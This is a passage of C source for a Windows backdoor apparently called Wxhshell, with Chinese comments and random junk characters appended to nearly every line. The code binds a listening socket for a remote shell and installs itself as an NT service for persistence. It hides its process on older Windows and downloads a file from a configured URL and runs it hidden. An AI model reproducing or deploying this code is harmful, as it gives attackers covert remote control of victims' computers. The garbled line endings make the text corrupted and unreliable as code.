} PROCESS_BASIC_INFORMATION; 2ck0k,WP
L'w]O
-86
PROCNTQSIP NtQueryInformationProcess; 1Qw_P('}
_#qfe
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;I?x;lH
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l b;P&V
H?rC IS0
HANDLE hProcess; ;!A=YXB
PROCESS_BASIC_INFORMATION pbi; Y5c[9\'\
(K_{a+$[
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?,i}Qr [Q
if(NULL == hInst ) return 0;
C TKeY
[
ebk u_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pI_dV44W
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L{rd',
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W{c
Z7$d
GVhy
}0|
if (!NtQueryInformationProcess) return 0; k{H7+;_
z'7XGO'Lo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~1{ppc+
if(!hProcess) return 0; p-r[M5;-^Q
MdN0 Y@Ll
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; THARr#1b};
*`8JJs0g
CloseHandle(hProcess);
SsPZva
9F[_xe@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _M+7)[xj=
if(hProcess==NULL) return 0; Ra"hdxH
:a^/&LbLm
HMODULE hMod; u-_1)'
char procName[255]; -
AU{Y`j
unsigned long cbNeeded; u HW'F(;
'/)qI.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e^'|<0J
Z&79: 9=#>
CloseHandle(hProcess); h-kmZ<p|^
QYi4A"$`
if(strstr(procName,"services")) return 1; // 以服务启动 Tw7]
Q'qX`K+@`
return 0; // 注册表启动 AVm+
1
} px*1 3"
XDHi4i47`o
// 主模块 050,S`%<g8
int StartWxhshell(LPSTR lpCmdLine) tHAe
{ L^r & .N\
SOCKET wsl; ;s;3cC!
BOOL val=TRUE; xW]65iav
int port=0; xK_oV+
struct sockaddr_in door; kIX1u<M~
s<rV1D
if(wscfg.ws_autoins) Install(); Svb>s|D
tJ
2GSZ`
port=atoi(lpCmdLine); .`Q^8|$-K
tbWfm5$
if(port<=0) port=wscfg.ws_port; {VKFw=$8
!-.GfI:q
WSADATA data; OQ-
Hn-H
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hf^<lJh~=
:m(DRD
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; '_^T]fr}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z:@:B:E
door.sin_family = AF_INET; kY @(-
door.sin_addr.s_addr = inet_addr("127.0.0.1"); U2l3E*O
door.sin_port = htons(port); ,uAp;"YJeV
6JDaZh"=K
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n_3R Q6
closesocket(wsl); JXM]tV
return 1; Xjkg7p,HD@
} DY9]$h*y
IvT><8<G
if(listen(wsl,2) == INVALID_SOCKET) { t&:L?K)j
closesocket(wsl); [:FiA?O]
return 1; xM(H4.<
} g;v;xlY`N
Wxhshell(wsl); fGO\f;P
WSACleanup(); ^lAM /
4(|yl^w
return 0; nYFrp)DLK
wD=]U@t`,
} !
5NuFLOf
>mai
v;
// 以NT服务方式启动 <S041KF.{6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *8WB($T}
{ u '7h(1@
DWORD status = 0; IHYLM;@L
DWORD specificError = 0xfffffff; BBRL_6
Jjm#ofv
serviceStatus.dwServiceType = SERVICE_WIN32; s4~[GO6>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Vv45w#w;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +.Ij%S[Px5
serviceStatus.dwWin32ExitCode = 0; #<S*MGp!=
serviceStatus.dwServiceSpecificExitCode = 0; qh:Bc$S
serviceStatus.dwCheckPoint = 0; 2lCFE)
serviceStatus.dwWaitHint = 0; 3f] ;y<Km
QYboX~g~p
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =29IHL3
if (hServiceStatusHandle==0) return; MDU#V
?%h$deJ
status = GetLastError(); 68Gywk3]=u
if (status!=NO_ERROR) _ i}W1i
{ l2qvYNMw
serviceStatus.dwCurrentState = SERVICE_STOPPED; N,c!1:b
serviceStatus.dwCheckPoint = 0; viG,z4Zf
serviceStatus.dwWaitHint = 0; )63
$,y-;$
serviceStatus.dwWin32ExitCode = status; =c'4rJ$+
serviceStatus.dwServiceSpecificExitCode = specificError; kIVQ2hmv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H*'1bLzq
return; iCE!TmDT
} jYFJk&c
\&5V';
serviceStatus.dwCurrentState = SERVICE_RUNNING; !Aw^X} C
serviceStatus.dwCheckPoint = 0; b,E ?{uG
serviceStatus.dwWaitHint = 0; D &"D[|@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y
%Q. (
} #cu{AdK
:<t=??4m
// 处理NT服务事件,比如:启动、停止 MLu!8dgI
VOID WINAPI NTServiceHandler(DWORD fdwControl) d_,5;M^k
{ ];OvV ,*
switch(fdwControl) gvA}s/
{ -2M~KlYl
case SERVICE_CONTROL_STOP: S^eem_C
serviceStatus.dwWin32ExitCode = 0; c]PTU2BB8
serviceStatus.dwCurrentState = SERVICE_STOPPED; lPZ(c%P
serviceStatus.dwCheckPoint = 0; Do/R.Mgy*
serviceStatus.dwWaitHint = 0; YV<y-,Io
{ |oi+|r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #wI}93E
} ?T/]w-q>
return; YQn<CjZ8af
case SERVICE_CONTROL_PAUSE: "XR=P>
xk
serviceStatus.dwCurrentState = SERVICE_PAUSED; +?$J8Paf
break; *Jd"3Si/
case SERVICE_CONTROL_CONTINUE: _&uJE&xl}
serviceStatus.dwCurrentState = SERVICE_RUNNING; #i[:oC6m:
break; H#~gx_^U
case SERVICE_CONTROL_INTERROGATE: ,~1'L6Ri?
break; L"qJZU
}; zuV%`n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); v;x0=I&%
} m2c'r3 UEu
@-
STo/
// 标准应用程序主函数 qq/>E*~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d:@+dS
{ <+_XGOt0<
>R+-mP!nj
// 获取操作系统版本 cb|+6m~
OsIsNt=GetOsVer(); {^WK#$]
GetModuleFileName(NULL,ExeFile,MAX_PATH); >A$L&8'C
566!T_
// 从命令行安装 _MBhwNBxZ
if(strpbrk(lpCmdLine,"iI")) Install(); {p +&Q|
)G/bP!^+(
// 下载执行文件 Q":_\inF
if(wscfg.ws_downexe) { m/KaWrw/)
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BNfj0e 5b
WinExec(wscfg.ws_filenam,SW_HIDE); )`DVPudiy
} HwUaaK
?woL17Gt
if(!OsIsNt) { wa"0`a:`;
// 如果时win9x,隐藏进程并且设置为注册表启动 rwRZGd *p
HideProc(); U.e!:f4{
StartWxhshell(lpCmdLine); --K)7
} !l (Vk
else T$5wH )<
if(StartFromService()) L4>14D\
// 以服务方式启动 9>)b6)J D
StartServiceCtrlDispatcher(DispatchTable); ^kKLi
else 9/k2zXY
// 普通方式启动 KD kGQh#9
StartWxhshell(lpCmdLine); V<QpC5
~}.C*;J
return 0; g3:@90Ba
}